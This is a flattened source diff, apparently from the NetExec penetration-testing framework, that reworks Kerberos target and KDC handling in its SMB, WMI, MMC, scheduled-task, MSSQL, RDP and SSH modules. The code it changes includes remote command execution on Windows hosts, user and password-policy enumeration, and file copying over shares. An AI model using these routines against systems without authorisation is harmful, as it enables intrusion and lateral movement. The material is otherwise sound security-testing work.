bgroup.add_argument("-c", "--collection", help="Which information to collect. Supported: Group, LocalAdmin, Session, Trusts, Default, DCOnly, DCOM, RDP, PSRemote, LoggedOn, Container, ObjectProps, ACL, All. You can specify more than one by separating them with a comma. (default: Default)'")
return parser
def get_conditional_action(baseAction):
class ConditionalAction(baseAction):
def __init__(self, option_strings, dest, **kwargs):
x = kwargs.pop("make_required", [])
super().__init__(option_strings, dest, **kwargs)
self.make_required = x
def __call__(self, parser, namespace, values, option_string=None):
for x in self.make_required:
x.required = True
super().__call__(parser, namespace, values, option_string)
return ConditionalAction
return parser
+8 -5
View File
@@ -53,7 +53,7 @@ class mssql(connection):
def create_conn_obj(self):
try:
self.conn = tds.MSSQL(self.host, self.port)
self.conn = tds.MSSQL(self.host, self.port, self.remoteName)
# Default has not timeout option in tds.MSSQL.connect() function, let rewrite it.
af, socktype, proto, canonname, sa = socket.getaddrinfo(self.host, self.port, 0, socket.SOCK_STREAM)[0]
sock = socket.socket(af, socktype, proto)
@@ -73,9 +73,6 @@ class mssql(connection):
def wrapper(self, *args, **kwargs):
with contextlib.suppress(Exception):
self.conn.disconnect()
# When using ccache file, we must need to set target host to hostname when creating connection object.
if self.kerberos:
self.host = self.hostname
self.create_conn_obj()
return func(self, *args, **kwargs)
return wrapper
@@ -134,6 +131,13 @@ class mssql(connection):
if self.args.local_auth:
self.domain = self.hostname
self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}"
if not self.kdcHost and self.domain:
result = self.resolver(self.domain)
self.kdcHost = result["host"] if result else None
self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}")
def print_host_info(self):
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.targetDomain})")
return True
@@ -170,7 +174,6 @@ class mssql(connection):
self.username = username
used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
try:
res = self.conn.kerberosLogin(
None,
+2 -2
View File
@@ -2,7 +2,7 @@ from pathlib import Path
from sqlalchemy import MetaData, func, Table, select, insert, update, delete
from sqlalchemy.dialects.sqlite import Insert # used for upsert
from sqlalchemy.exc import (
# IllegalStateChangeError,
IllegalStateChangeError,
NoInspectionAvailable,
NoSuchTableError,
)
@@ -89,7 +89,7 @@ class database:
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
except Exception as e:
except IllegalStateChangeError as e:
nxc_logger.debug(f"Error while closing session db object: {e}")
def clear_database(self):
+18 -2
View File
@@ -150,10 +150,16 @@ class rdp(connection):
if self.args.domain:
self.domain = self.args.domain
if self.args.local_auth:
self.domain = self.hostname
self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}"
if not self.kdcHost and self.domain:
result = self.resolver(self.domain)
self.kdcHost = result["host"] if result else None
self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}")
self.target = RDPTarget(
ip=self.host,
hostname=self.hostname,
@@ -220,7 +226,17 @@ class rdp(connection):
else:
stype = asyauthSecret.PASS if not nthash else asyauthSecret.NT
kerberos_target = UniTarget(self.domain, 88, UniProto.CLIENT_TCP, proxies=None, dns=None, dc_ip=self.domain, domain=self.domain)
kerberos_target = UniTarget(
self.host,
88,
UniProto.CLIENT_TCP,
timeout=self.args.rdp_timeout,
hostname=self.remoteName,
dc_ip=self.kdcHost,
domain=self.domain,
proxies=None,
dns=None,
)
self.auth = KerberosCredential(
target=kerberos_target,
secret=password,
+2 -2
View File
@@ -3,7 +3,7 @@ from pathlib import Path
from sqlalchemy.orm import sessionmaker, scoped_session
from sqlalchemy import MetaData, Table
from sqlalchemy.exc import (
# IllegalStateChangeError,
IllegalStateChangeError,
NoInspectionAvailable,
NoSuchTableError,
)
@@ -69,7 +69,7 @@ class database:
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
except Exception as e:
except IllegalStateChangeError as e:
nxc_logger.debug(f"Error while closing session db object: {e}")
def clear_database(self):
+58 -40
View File
@@ -256,6 +256,14 @@ class smb(connection):
self.conn.logoff()
except Exception as e:
self.logger.debug(f"Error logging off system: {e}")
# DCOM connection with kerberos needed
self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}"
if not self.kdcHost and self.domain:
result = self.resolver(self.domain)
self.kdcHost = result["host"] if result else None
self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}")
def print_host_info(self):
signing = colored(f"signing:{self.signing}", host_info_colors[0], attrs=["bold"]) if self.signing else colored(f"signing:{self.signing}", host_info_colors[1], attrs=["bold"])
@@ -266,9 +274,8 @@ class smb(connection):
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
logging.getLogger("impacket").disabled = True
# Re-connect since we logged off
kdc_host = f"{self.hostname}.{self.domain}" if not self.no_ntlm else f"{self.host}"
self.logger.debug(f"KDC set to: {kdc_host}")
self.create_conn_obj(kdc_host)
self.logger.debug(f"KDC set to: {kdcHost}")
self.create_conn_obj()
lmhash = ""
nthash = ""
@@ -475,11 +482,11 @@ class smb(connection):
self.logger.fail("Broken Pipe Error while attempting to login")
return False
def create_smbv1_conn(self, kdc=""):
def create_smbv1_conn(self):
try:
self.conn = SMBConnection(
kdc if kdc else self.host,
kdc if kdc else self.host,
self.remoteName,
self.host,
None,
self.port,
preferredDialect=SMB_DIALECT,
@@ -488,19 +495,19 @@ class smb(connection):
self.smbv1 = True
except OSError as e:
if str(e).find("Connection reset by peer") != -1:
self.logger.info(f"SMBv1 might be disabled on {kdc if kdc else self.host}")
self.logger.info(f"SMBv1 might be disabled on {self.host}")
return False
except (Exception, NetBIOSTimeout) as e:
self.logger.info(f"Error creating SMBv1 connection to {kdc if kdc else self.host}: {e}")
self.logger.info(f"Error creating SMBv1 connection to {self.host}: {e}")
return False
return True
def create_smbv3_conn(self, kdc=""):
def create_smbv3_conn(self):
try:
self.conn = SMBConnection(
kdc if kdc else self.host,
kdc if kdc else self.host,
self.remoteName,
self.host,
None,
self.port,
timeout=self.args.smb_timeout,
@@ -512,15 +519,15 @@ class smb(connection):
if not self.logger:
print("DEBUG ERROR: logger not set, please open an issue on github: " + str(self) + str(self.logger))
self.proto_logger()
self.logger.fail(f"SMBv3 connection error on {kdc if kdc else self.host}: {e}")
self.logger.fail(f"SMBv3 connection error on {self.host}: {e}")
return False
except (Exception, NetBIOSTimeout) as e:
self.logger.info(f"Error creating SMBv3 connection to {kdc if kdc else self.host}: {e}")
self.logger.info(f"Error creating SMBv3 connection to {self.host}: {e}")
return False
return True
def create_conn_obj(self, kdc_host=None):
return bool(self.create_smbv1_conn(kdc_host) or self.create_smbv3_conn(kdc_host))
def create_conn_obj(self):
return bool(self.create_smbv1_conn() or self.create_smbv3_conn())
def check_if_admin(self):
rpctransport = SMBTransport(self.conn.getRemoteHost(), 445, r"\svcctl", smb_connection=self.conn)
@@ -564,7 +571,7 @@ class smb(connection):
if method == "wmiexec":
try:
exec_method = WMIEXEC(
self.host if not self.kerberos else self.hostname + "." + self.domain,
self.remoteName,
self.smb_share_name,
self.username,
self.password,
@@ -573,6 +580,7 @@ class smb(connection):
self.kerberos,
self.aesKey,
self.kdcHost,
self.host,
self.hash,
self.args.share,
logger=self.logger,
@@ -587,18 +595,25 @@ class smb(connection):
continue
elif method == "mmcexec":
try:
# https://github.com/fortra/impacket/issues/1611
if self.kerberos:
raise Exception("MMCExec current is buggly with kerberos")
exec_method = MMCEXEC(
self.host if not self.kerberos else self.hostname + "." + self.domain,
self.remoteName,
self.smb_share_name,
self.username,
self.password,
self.domain,
self.conn,
self.args.share,
self.kerberos,
self.aesKey,
self.kdcHost,
self.host,
self.hash,
self.logger,
self.args.get_output_tries,
self.args.dcom_timeout
self.args.share,
logger=self.logger,
timeout=self.args.dcom_timeout,
tries=self.args.get_output_tries
)
self.logger.info("Executed command via mmcexec")
break
@@ -616,6 +631,7 @@ class smb(connection):
self.domain,
self.kerberos,
self.aesKey,
self.host,
self.kdcHost,
self.hash,
self.logger,
@@ -634,12 +650,12 @@ class smb(connection):
self.host if not self.kerberos else self.hostname + "." + self.domain,
self.smb_share_name,
self.conn,
self.port,
self.username,
self.password,
self.domain,
self.kerberos,
self.aesKey,
self.host,
self.kdcHost,
self.hash,
self.args.share,
@@ -1073,9 +1089,9 @@ class smb(connection):
namespace = self.args.wmi_namespace
try:
dcom = DCOMConnection(self.host if not self.kerberos else self.hostname + "." + self.domain, self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True, doKerberos=self.kerberos, kdcHost=self.kdcHost, aesKey=self.aesKey)
dcom = DCOMConnection(self.remoteName, self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True, doKerberos=self.kerberos, kdcHost=self.kdcHost, aesKey=self.aesKey, remoteHost=self.host)
iInterface = dcom.CoCreateInstanceEx(CLSID_WbemLevel1Login, IID_IWbemLevel1Login)
flag, stringBinding = dcom_FirewallChecker(iInterface, self.args.dcom_timeout)
flag, stringBinding = dcom_FirewallChecker(iInterface, self.host, self.args.dcom_timeout)
if not flag or not stringBinding:
error_msg = f"WMI Query: Dcom initialization failed on connection with stringbinding: '{stringBinding}', please increase the timeout with the option '--dcom-timeout'. If it's still failing maybe something is blocking the RPC connection, try another exec method"
@@ -1155,20 +1171,16 @@ class smb(connection):
max_rid = int(self.args.rid_brute)
KNOWN_PROTOCOLS = {
135: {"bindstr": r"ncacn_ip_tcp:%s", "set_host": False},
139: {"bindstr": r"ncacn_np:{}[\pipe\lsarpc]", "set_host": True},
445: {"bindstr": r"ncacn_np:{}[\pipe\lsarpc]", "set_host": True},
135: {"bindstr": rf"ncacn_ip_tcp:{self.host}"},
139: {"bindstr": rf"ncacn_np:{self.host}[\pipe\lsarpc]"},
445: {"bindstr": rf"ncacn_np:{self.host}[\pipe\lsarpc]"},
}
try:
full_hostname = self.host if not self.kerberos else self.hostname + "." + self.domain
string_binding = KNOWN_PROTOCOLS[self.port]["bindstr"]
logging.debug(f"StringBinding {string_binding}")
rpc_transport = transport.DCERPCTransportFactory(string_binding)
rpc_transport.set_dport(self.port)
if KNOWN_PROTOCOLS[self.port]["set_host"]:
rpc_transport.setRemoteHost(full_hostname)
rpc_transport.setRemoteHost(self.host)
if hasattr(rpc_transport, "set_credentials"):
# This method exists only for selected protocol sequences.
@@ -1246,19 +1258,21 @@ class smb(connection):
dce.disconnect()
return entries
def put_file(self):
self.logger.display(f"Copying {self.args.put_file[0]} to {self.args.put_file[1]}")
with open(self.args.put_file[0], "rb") as file:
def put_file_single(self, src, dst):
self.logger.display(f"Copying {src} to {dst}")
with open(src, "rb") as file:
try:
self.conn.putFile(self.args.share, self.args.put_file[1], file.read)
self.logger.success(f"Created file {self.args.put_file[0]} on \\\\{self.args.share}\\{self.args.put_file[1]}")
self.conn.putFile(self.args.share, dst, file.read)
self.logger.success(f"Created file {src} on \\\\{self.args.share}\\{dst}")
except Exception as e:
self.logger.fail(f"Error writing file to share {self.args.share}: {e}")
def put_file(self):
for src, dest in self.args.put_file:
self.put_file_single(src, dest)
def get_file(self):
def get_file_single(self, remote_path, download_path):
share_name = self.args.share
remote_path = self.args.get_file[0]
download_path = self.args.get_file[1]
self.logger.display(f'Copying "{remote_path}" to "{download_path}"')
if self.args.append_host:
download_path = f"{self.hostname}-{remote_path}"
@@ -1271,6 +1285,10 @@ class smb(connection):
if os.path.getsize(download_path) == 0:
os.remove(download_path)
def get_file(self):
for src, dest in self.args.get_file:
self.get_file_single(src, dest)
def enable_remoteops(self):
try:
self.remote_ops = RemoteOperations(self.conn, self.kerberos, self.kdcHost)
+3 -1
View File
@@ -7,7 +7,7 @@ from time import sleep
class TSCH_EXEC:
def __init__(self, target, share_name, username, password, domain, doKerberos=False, aesKey=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None):
def __init__(self, target, share_name, username, password, domain, doKerberos=False, aesKey=None, remoteHost=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None):
self.__target = target
self.__username = username
self.__password = password
@@ -19,6 +19,7 @@ class TSCH_EXEC:
self.__retOutput = False
self.__aesKey = aesKey
self.__doKerberos = doKerberos
self.__remoteHost = remoteHost
self.__kdcHost = kdcHost
self.__tries = tries
self.__output_filename = None
@@ -37,6 +38,7 @@ class TSCH_EXEC:
stringbinding = r"ncacn_np:%s[\pipe\atsvc]" % self.__target
self.__rpctransport = transport.DCERPCTransportFactory(stringbinding)
self.__rpctransport.setRemoteHost(self.__remoteHost)
if hasattr(self.__rpctransport, "set_credentials"):
# This method exists only for selected protocol sequences.
+2 -2
View File
@@ -6,7 +6,7 @@ from pathlib import Path
from sqlalchemy import MetaData, func, Table, select, delete
from sqlalchemy.dialects.sqlite import Insert # used for upsert
from sqlalchemy.exc import (
# IllegalStateChangeError,
IllegalStateChangeError,
NoInspectionAvailable,
NoSuchTableError,
)
@@ -205,7 +205,7 @@ class database:
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
except Exception as e:
except IllegalStateChangeError as e:
nxc_logger.debug(f"Error while closing session db object: {e}")
def clear_database(self):
+17 -12
View File
@@ -58,26 +58,28 @@ from impacket.dcerpc.v5.dtypes import NULL
class MMCEXEC:
def __init__(self, host, share_name, username, password, domain, smbconnection, share, hashes=None, logger=None, tries=None, timeout=None):
self.__host = host
def __init__(self, target, share_name, username, password, domain, smbconnection, doKerberos=False, aesKey=None, kdcHost=None, remoteHost=None, hashes=None, share=None, logger=None, timeout=None, tries=None):
self.__target = target
self.__username = username
self.__password = password
self.__smbconnection = smbconnection
self.__domain = domain
self.__lmhash = ""
self.__nthash = ""
self.__share_name = share_name
self.__share = share
self.__timeout = timeout
self.__smbconnection = smbconnection
self.__output = None
self.__outputBuffer = b""
self.__share_name = share_name
self.__shell = "c:\\windows\\system32\\cmd.exe"
self.__pwd = "C:\\"
self.__quit = None
self.__executeShellCommand = None
self.__aesKey = aesKey
self.__kdcHost = kdcHost
self.__remoteHost = remoteHost
self.__doKerberos = doKerberos
self.__retOutput = True
self.__share = share
self.__dcom = None
self.__stringBinding = ""
self.__tries = tries
self.__timeout = timeout
self.logger = logger
if hashes is not None:
@@ -87,21 +89,24 @@ class MMCEXEC:
self.__nthash = hashes
self.__dcom = DCOMConnection(
self.__host,
self.__target,
self.__username,
self.__password,
self.__domain,
self.__lmhash,
self.__nthash,
None,
self.__aesKey,
oxidResolver=True,
doKerberos=self.__doKerberos,
kdcHost=self.__kdcHost,
remoteHost=self.__remoteHost,
)
try:
iInterface = self.__dcom.CoCreateInstanceEx(string_to_bin("49B2791A-B1AE-4C90-9B8E-E860BA07F889"), IID_IDispatch)
except Exception:
# Make it force break function
self.__dcom.disconnect()
flag, self.__stringBinding = dcom_FirewallChecker(iInterface, self.__timeout)
flag, self.__stringBinding = dcom_FirewallChecker(iInterface, self.__remoteHost, self.__timeout)
if not flag or not self.__stringBinding:
error_msg = f'MMCEXEC: Dcom initialization failed on connection with stringbinding: "{self.__stringBinding}", please increase the timeout with the option "--dcom-timeout". If it\'s still failing maybe something is blocking the RPC connection, try another exec method'
+4
View File
@@ -80,6 +80,8 @@ class PassPolDump:
self.nthash = ""
self.aesKey = connection.aesKey
self.doKerberos = connection.kerberos
self.host = connection.host
self.kdcHost = connection.kdcHost
self.protocols = PassPolDump.KNOWN_PROTOCOLS.keys()
self.pass_pol = {}
@@ -112,6 +114,8 @@ class PassPolDump:
self.nthash,
self.aesKey,
doKerberos=self.doKerberos,
kdcHost=self.kdcHost,
remote_host=self.host,
)
try:
self.fetchList(rpctransport)
+2 -2
View File
@@ -59,8 +59,8 @@ def proto_args(parser, std_parser, module_parser):
sgroup.add_argument("--only-files", action="store_true", help="only spider files")
tgroup = smb_parser.add_argument_group("Files", "Options for put and get remote files")
tgroup.add_argument("--put-file", nargs=2, metavar="FILE", help="Put a local file into remote target, ex: whoami.txt \\\\Windows\\\\Temp\\\\whoami.txt")
tgroup.add_argument("--get-file", nargs=2, metavar="FILE", help="Get a remote file, ex: \\\\Windows\\\\Temp\\\\whoami.txt whoami.txt")
tgroup.add_argument("--put-file", action="append", nargs=2, metavar="FILE", help="Put a local file into remote target, ex: whoami.txt \\\\Windows\\\\Temp\\\\whoami.txt")
tgroup.add_argument("--get-file", action="append", nargs=2, metavar="FILE", help="Get a remote file, ex: \\\\Windows\\\\Temp\\\\whoami.txt whoami.txt")
tgroup.add_argument("--append-host", action="store_true", help="append the host to the get-file filename")
cgroup = smb_parser.add_argument_group("Command Execution", "Options for executing commands")
+14 -17
View File
@@ -15,7 +15,7 @@ from nxc.logger import nxc_logger
class SamrFunc:
def __init__(self, connection):
self.logger = connection.logger
self.addr = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
self.addr = connection.host
self.protocol = connection.args.port
self.username = connection.username
self.password = connection.password
@@ -25,6 +25,7 @@ class SamrFunc:
self.nthash = ""
self.aesKey = connection.aesKey
self.doKerberos = connection.kerberos
self.kdcHost = connection.kdcHost
if self.hash is not None:
if self.hash.find(":") != -1:
@@ -35,16 +36,8 @@ class SamrFunc:
if self.password is None:
self.password = ""
self.samr_query = SAMRQuery(
username=self.username,
password=self.password,
domain=self.domain,
remote_name=self.addr,
remote_host=self.addr,
kerberos=self.doKerberos,
aesKey=self.aesKey,
)
self.lsa_query = LSAQuery(username=self.username, password=self.password, domain=self.domain, remote_name=self.addr, remote_host=self.addr, kerberos=self.doKerberos, aesKey=self.aesKey, logger=self.logger)
self.samr_query = SAMRQuery(username=self.username, password=self.password, domain=self.domain, remote_name=self.addr, remote_host=self.host, kerberos=self.doKerberos, kdcHost=self.kdcHost, aesKey=self.aesKey)
self.lsa_query = LSAQuery(username=self.username, password=self.password, domain=self.domain, remote_name=self.addr, remote_host=self.host, kdcHost=self.kdcHost, kerberos=self.doKerberos, aesKey=self.aesKey, logger=self.logger)
def get_builtin_groups(self):
domains = self.samr_query.get_domains()
@@ -56,7 +49,6 @@ class SamrFunc:
domain_handle = self.samr_query.get_domain_handle("Builtin")
return self.samr_query.get_domain_aliases(domain_handle)
def get_custom_groups(self):
domains = self.samr_query.get_domains()
custom_groups = {}
@@ -99,6 +91,7 @@ class SAMRQuery:
remote_name="",
remote_host="",
kerberos=None,
kdcHost="",
aesKey="",
):
self.__username = username
@@ -111,6 +104,7 @@ class SAMRQuery:
self.__remote_name = remote_name
self.__remote_host = remote_host
self.__kerberos = kerberos
self.__kdcHost = kdcHost
self.dce = self.get_dce()
self.server_handle = self.get_server_handle()
@@ -119,7 +113,7 @@ class SAMRQuery:
nxc_logger.debug(f"Binding to {string_binding}")
# using a direct SMBTransport instead of DCERPCTransportFactory since we need the filename to be '\samr'
return transport.SMBTransport(
self.__remote_host,
self.__remote_name,
self.__port,
r"\samr",
self.__username,
@@ -129,10 +123,12 @@ class SAMRQuery:
self.__nthash,
self.__aesKey,
doKerberos=self.__kerberos,
kdcHost=self.__kdcHost,
)
def get_dce(self):
rpc_transport = self.get_transport()
rpc_transport.setRemoteHost(self.__remote_host)
try:
dce = rpc_transport.get_dce_rpc()
dce.connect()
@@ -168,7 +164,7 @@ class SAMRQuery:
def get_domain_aliases(self, domain_handle):
"""Use a dictionary comprehension to generate the aliases dictionary.
Calls the hSamrEnumerateAliasesInDomain() method directly in the dictionary comprehension and extracts the "Name" and "RelativeId" values from each element in the "Buffer" list
"""
return {alias["Name"]: alias["RelativeId"] for alias in samr.hSamrEnumerateAliasesInDomain(self.dce, domain_handle)["Buffer"]["Buffer"]}
@@ -184,7 +180,7 @@ class SAMRQuery:
class LSAQuery:
def __init__(self, username="", password="", domain="", port=445, remote_name="", remote_host="", aesKey="", kerberos=None, logger=None):
def __init__(self, username="", password="", domain="", port=445, remote_name="", remote_host="", kdcHost="", aesKey="", kerberos=None, logger=None):
self.__username = username
self.__password = password
self.__domain = domain
@@ -194,6 +190,7 @@ class LSAQuery:
self.__port = port
self.__remote_name = remote_name
self.__remote_host = remote_host
self.__kdcHost = kdcHost
self.__kerberos = kerberos
self.dce = self.get_dce()
self.policy_handle = self.get_policy_handle()
@@ -205,7 +202,7 @@ class LSAQuery:
rpc_transport.set_dport(self.__port)
rpc_transport.setRemoteHost(self.__remote_host)
if self.__kerberos:
rpc_transport.set_kerberos(True, None)
rpc_transport.set_kerberos(self.__kerberos, self.__kdcHost)
if hasattr(rpc_transport, "set_credentials"):
# This method exists only for selected protocol sequences.
rpc_transport.set_credentials(
@@ -237,7 +234,7 @@ class LSAQuery:
def lookup_sids(self, sids):
"""Use a list comprehension to generate the names list.
It calls the hLsarLookupSids() method directly in the list comprehension and extracts the "Name" value from each element in the "Names" list.
"""
return [translated_names["Name"] for translated_names in lsat.hLsarLookupSids(self.dce, self.policy_handle, sids, lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta)["TranslatedNames"]["Names"]]
+3 -2
View File
@@ -25,6 +25,8 @@ class UserSamrDump:
self.nthash = ""
self.aesKey = connection.aesKey
self.doKerberos = connection.kerberos
self.host = connection.host
self.kdcHost = connection.kdcHost
self.protocols = UserSamrDump.KNOWN_PROTOCOLS.keys()
self.users = []
self.rpc_transport = None
@@ -49,8 +51,7 @@ class UserSamrDump:
self.logger.debug(f"Invalid Protocol: {protocol}")
self.logger.debug(f"Trying protocol {protocol}")
self.rpc_transport = transport.SMBTransport(self.addr, port, r"\samr", self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey, doKerberos=self.doKerberos)
self.rpc_transport = transport.SMBTransport(self.addr, port, r"\samr", self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey, doKerberos=self.doKerberos, kdcHost=self.kdcHost, remote_host=self.host)
try:
self.fetch_users(requested_users)
break
+6 -5
View File
@@ -7,9 +7,9 @@ from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
class SMBEXEC:
def __init__(self, host, share_name, smbconnection, protocol, username="", password="", domain="", doKerberos=False, aesKey=None, kdcHost=None, hashes=None, share=None, port=445, logger=None, tries=None):
def __init__(self, host, share_name, smbconnection, username="", password="", domain="", doKerberos=False, aesKey=None, remoteHost=None, kdcHost=None, hashes=None, share=None, port=445, logger=None, tries=None):
self.__host = host
self.__share_name = "C$"
self.__share_name = share_name
self.__port = port
self.__username = username
self.__password = password
@@ -26,9 +26,9 @@ class SMBEXEC:
self.__retOutput = False
self.__rpctransport = None
self.__scmr = None
self.__conn = None
self.__aesKey = aesKey
self.__doKerberos = doKerberos
self.__remoteHost = remoteHost
self.__kdcHost = kdcHost
self.__tries = tries
self.logger = logger
@@ -49,7 +49,8 @@ class SMBEXEC:
self.__rpctransport.set_dport(self.__port)
if hasattr(self.__rpctransport, "setRemoteHost"):
self.__rpctransport.setRemoteHost(self.__host)
self.__rpctransport.setRemoteHost(self.__remoteHost)
if hasattr(self.__rpctransport, "set_credentials"):
# This method exists only for selected protocol sequences.
self.__rpctransport.set_credentials(
@@ -92,7 +93,7 @@ class SMBEXEC:
self.__output = gen_random_string(6)
self.__batchFile = gen_random_string(6) + ".bat"
command = self.__shell + "echo " + data + f" ^> \\\\127.0.0.1\\{self.__share_name}\\{self.__output} 2^>^&1 > %TEMP%\\{self.__batchFile} & %COMSPEC% /Q /c %TEMP%\\{self.__batchFile} & %COMSPEC% /Q /c del %TEMP%\\{self.__batchFile}" if self.__retOutput else self.__shell + data
command = self.__shell + "echo " + data + f" ^> \\\\%COMPUTERNAME%\\{self.__share}\\{self.__output} 2^>^&1 > %TEMP%\\{self.__batchFile} & %COMSPEC% /Q /c %TEMP%\\{self.__batchFile} & %COMSPEC% /Q /c del %TEMP%\\{self.__batchFile}" if self.__retOutput else self.__shell + data
with open(path_join("/tmp", "nxc_hosted", self.__batchFile), "w") as batch_file:
batch_file.write(command)
+4 -2
View File
@@ -9,7 +9,7 @@ from impacket.dcerpc.v5.dtypes import NULL
class WMIEXEC:
def __init__(self, target, share_name, username, password, domain, smbconnection, doKerberos=False, aesKey=None, kdcHost=None, hashes=None, share=None, logger=None, timeout=None, tries=None):
def __init__(self, target, share_name, username, password, domain, smbconnection, doKerberos=False, aesKey=None, kdcHost=None, remoteHost=None, hashes=None, share=None, logger=None, timeout=None, tries=None):
self.__target = target
self.__username = username
self.__password = password
@@ -26,6 +26,7 @@ class WMIEXEC:
self.__pwd = "C:\\"
self.__aesKey = aesKey
self.__kdcHost = kdcHost
self.__remoteHost = remoteHost
self.__doKerberos = doKerberos
self.__retOutput = True
self.__stringBinding = ""
@@ -52,9 +53,10 @@ class WMIEXEC:
oxidResolver=True,
doKerberos=self.__doKerberos,
kdcHost=self.__kdcHost,
remoteHost=self.__remoteHost,
)
iInterface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
flag, self.__stringBinding = dcom_FirewallChecker(iInterface, self.__timeout)
flag, self.__stringBinding = dcom_FirewallChecker(iInterface, self.__remoteHost, self.__timeout)
if not flag or not self.__stringBinding:
error_msg = f'WMIEXEC: Dcom initialization failed on connection with stringbinding: "{self.__stringBinding}", please increase the timeout with the option "--dcom-timeout". If it\'s still failing maybe something is blocking the RPC connection, try another exec method'
+11 -20
View File
@@ -19,7 +19,7 @@ class ssh(connection):
self.protocol = "SSH"
self.remote_version = "Unknown SSH Version"
self.server_os_platform = "Linux"
self.user_principal = "root"
self.uac = ""
super().__init__(args, db, host)
def proto_flow(self):
@@ -221,10 +221,15 @@ class ssh(connection):
# Some IOT devices will not raise exception in self.conn._transport.auth_password / self.conn._transport.auth_publickey
_, stdout, _ = self.conn.exec_command("id")
stdout = stdout.read().decode(self.args.codec, errors="ignore")
except AuthenticationException:
self.logger.fail(f"{username}:{process_secret(password)}")
except SSHException as e:
self.logger.fail(f"{username}:{process_secret(password)} Could not decrypt private key, error: {e}")
if "Invalid key" in str(e):
self.logger.fail(f"{username}:{process_secret(password)} Could not decrypt private key, error: {e}")
else:
self.logger.exception(e)
except Exception as e:
self.logger.fail(f"{username}:{process_secret(password)} {e}")
self.logger.exception(e)
self.conn.close()
return False
else:
@@ -235,15 +240,11 @@ class ssh(connection):
_, stdout, _ = self.conn.exec_command("whoami /priv")
stdout = stdout.read().decode(self.args.codec, errors="ignore")
self.server_os_platform = "Windows"
self.user_principal = "admin"
if "SeDebugPrivilege" in stdout:
self.admin_privs = True
elif "SeUndockPrivilege" in stdout:
self.admin_privs = True
self.user_principal = "admin (UAC)"
else:
# non admin (low priv)
self.user_principal = "admin (low priv)"
self.uac = "with UAC - "
if not stdout:
self.logger.debug(f"User: {self.username} can't get a basic shell")
@@ -261,22 +262,12 @@ class ssh(connection):
if self.args.key_file:
self.db.add_admin_user("key", username, password, host_id=host_id, cred_id=cred_id)
else:
self.db.add_admin_user(
"plaintext",
username,
password,
host_id=host_id,
cred_id=cred_id,
)
self.db.add_admin_user("plaintext", username, password, host_id=host_id, cred_id=cred_id)
if self.args.key_file:
password = f"{process_secret(password)} (keyfile: {self.args.key_file})"
display_shell_access = "{} {} {}".format(
f"({self.user_principal})" if self.admin_privs else f"(non {self.user_principal})",
self.server_os_platform,
"- Shell access!" if shell_access else ""
)
display_shell_access = f"{self.uac}{self.server_os_platform}{' - Shell access!' if shell_access else ''}"
self.logger.success(f"{username}:{process_secret(password)} {self.mark_pwned()} {highlight(display_shell_access)}")
return True
+2 -2
View File
@@ -2,7 +2,7 @@ from sqlalchemy.dialects.sqlite import Insert
from sqlalchemy.orm import sessionmaker, scoped_session
from sqlalchemy import MetaData, Table, select, func, delete
from sqlalchemy.exc import (
# IllegalStateChangeError,
IllegalStateChangeError,
NoInspectionAvailable,
NoSuchTableError,
)
@@ -111,7 +111,7 @@ class database:
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
except Exception as e:
except IllegalStateChangeError as e:
nxc_logger.debug(f"Error while closing session db object: {e}")
def clear_database(self):
+2 -2
View File
@@ -1,7 +1,7 @@
from pathlib import Path
from sqlalchemy import MetaData, Table
from sqlalchemy.exc import (
# IllegalStateChangeError,
IllegalStateChangeError,
NoInspectionAvailable,
NoSuchTableError,
)
@@ -74,7 +74,7 @@ class database:
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
except Exception as e:
except IllegalStateChangeError as e:
nxc_logger.debug(f"Error while closing session db object: {e}")
def clear_database(self):
+2 -2
View File
@@ -3,7 +3,7 @@ from sqlalchemy.dialects.sqlite import Insert
from sqlalchemy.orm import sessionmaker, scoped_session
from sqlalchemy import MetaData, Table, select, func, delete
from sqlalchemy.exc import (
# IllegalStateChangeError,
IllegalStateChangeError,
NoInspectionAvailable,
NoSuchTableError,
)
@@ -94,7 +94,7 @@ class database:
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
except Exception as e:
except IllegalStateChangeError as e:
nxc_logger.debug(f"Error while closing session db object: {e}")
def clear_database(self):
+29 -22
View File
@@ -1,5 +1,4 @@
import os
import logging
from io import StringIO
from datetime import datetime
@@ -29,8 +28,6 @@ class wmi(connection):
self.hash = ""
self.lmhash = ""
self.nthash = ""
self.fqdn = ""
self.remoteName = ""
